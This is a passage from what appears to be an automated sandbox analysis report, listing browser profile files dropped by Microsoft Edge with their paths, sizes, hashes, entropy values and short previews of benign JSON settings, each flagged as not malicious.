SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3ab74.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3aecf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\d8cfcd77-7408-48d9-a471-cb8ad4cdf59d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\e3da5696-749d-4c67-a930-8e2b89490969.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a0a4e87e-d41a-47df-959f-56f0a2e7f76f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ae79926d-84ef-4c90-b4a2-f85ae378515d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b091a529-6d53-4e82-95ef-ec2f6d69fc1e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d5dac632-baa5-4790-adcc-6c082f81b8ec.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17620), with no line terminators
Category:	dropped
Size (bytes):	17622
Entropy (8bit):	5.4939272104283665
Encrypted:	false
SSDEEP:	384:strPGKSu43sOvfhKyb5FW4kW4YYIbGzQwe6WoaTYA:sdOxuqvfjb5F7k7kbGsRkaTYA
MD5:	A0DF481BC51CBC083608CD8C8C4865C6
SHA1:	AAAAEA939375EB866F1AC2588158E54D4FD5073C
SHA-256:	A0A891D83E303A3C966EE2741A6DC26BC0580770F1BFA1C31AA44FF61275DB62
SHA-512:	295004BA0E72778CBB9E5519FA143FC566EBEA256BED1DED160DEFB7C9C0AEC39EC61689818CA518AF57EE789AF8EA6F821E827D968F8C4BB662F40BDF53E56A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13381442187438388","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ee9dba06-b2c3-46d8-b94b-726323fb9a8c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17785), with no line terminators
Category:	dropped
Size (bytes):	17787
Entropy (8bit):	5.490406458898792
Encrypted:	false
SSDEEP:	384:strPGKSu43sOvfhKyb5FW4kW4YYIbGzQwe6WZlaTYA:sdOxuqvfjb5F7k7kbGsRjaTYA
MD5:	5A9F253D448455B8B0E0E8113D3773D6
SHA1:	E19FE8F110C4F9F7504B45B651DA04A946EAA96D
SHA-256:	E0FBD9D3F241A5AC2C55EE1D4C49CDF42F8BA34845850D6CF94EFD37BCA2E8BC
SHA-512:	0D6D44DF1E5BCCA2A667C03D7571CB14A6F38FFD0F6124319F5E8FD8307C76DDECD745064ED9539C331ED1FFE75B3632480F198A55E3C685E110F0BFA6F43060
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13381442187438388","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ffb986c0-25b1-4fb9-af81-41d9ec66a314.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17785), with no line terminators
Category:	dropped
Size (bytes):	17787
Entropy (8bit):	5.490414860258828
Encrypted:	false
SSDEEP:	384:strPGKSu43sOvfhKyb5FW4kW4YYIbGzQwe6WYlaTYA:sdOxuqvfjb5F7k7kbGsRuaTYA
MD5:	3BEAE73E24F861A477360A37AEF22DC1
SHA1:	AC72DA9C59F9C3002CFB45A80647936952C8156D
SHA-256:	9967835D3BF08DCD1AF2CCA11222334AF773CD0C15DCD8BCABEB9048BDFAF665
SHA-512:	0952015AB5FCB934B9187DDFB2ED603C547C4214412494A1981CCBCC31F43E4C90690E5BB3C1AAE38BB71D18DD01D7411213AE651AA7F64062F301F77B69258B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13381442187438388","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090718770301923
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMNwuF9hDO6vP6O+otbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEp6Ftbz8hu3VlXr4CRo1
MD5:	8ECACEBA39A23158FEC034776782045F
SHA1:	AAF130242F18B68E74BF67A8C66D6E8B9B3EB754
SHA-256:	59DFC5F03A23AB7BD52B0209D9F2747903F276AE5CE5C6251007D12432B8EF63
SHA-512:	647AF41D3F63B959869AF49F25B2CE95C84E7A4EEED65CA33A03F10BAD9B0AD3706CE248124A6393D2ED05725CBD6FB133369D9BD09605F6ADCB0398DA74C10B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF385cb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090718770301923
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMNwuF9hDO6vP6O+otbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEp6Ftbz8hu3VlXr4CRo1
MD5:	8ECACEBA39A23158FEC034776782045F
SHA1:	AAF130242F18B68E74BF67A8C66D6E8B9B3EB754
SHA-256:	59DFC5F03A23AB7BD52B0209D9F2747903F276AE5CE5C6251007D12432B8EF63
SHA-512:	647AF41D3F63B959869AF49F25B2CE95C84E7A4EEED65CA33A03F10BAD9B0AD3706CE248124A6393D2ED05725CBD6FB133369D9BD09605F6ADCB0398DA74C10B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38619.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090718770301923
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMNwuF9hDO6vP6O+otbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEp6Ftbz8hu3VlXr4CRo1
MD5:	8ECACEBA39A23158FEC034776782045F
SHA1:	AAF130242F18B68E74BF67A8C66D6E8B9B3EB754
SHA-256:	59DFC5F03A23AB7BD52B0209D9F2747903F276AE5CE5C6251007D12432B8EF63
SHA-512:	647AF41D3F63B959869AF49F25B2CE95C84E7A4EEED65CA33A03F10BAD9B0AD3706CE248124A6393D2ED05725CBD6FB133369D9BD09605F6ADCB0398DA74C10B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF387ee.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090718770301923
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMNwuF9hDO6vP6O+otbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEp6Ftbz8hu3VlXr4CRo1
MD5:	8ECACEBA39A23158FEC034776782045F
SHA1:	AAF130242F18B68E74BF67A8C66D6E8B9B3EB754
SHA-256:	59DFC5F03A23AB7BD52B0209D9F2747903F276AE5CE5C6251007D12432B8EF63
SHA-512:	647AF41D3F63B959869AF49F25B2CE95C84E7A4EEED65CA33A03F10BAD9B0AD3706CE248124A6393D2ED05725CBD6FB133369D9BD09605F6ADCB0398DA74C10B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3aefe.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090718770301923
Encrypted:	false
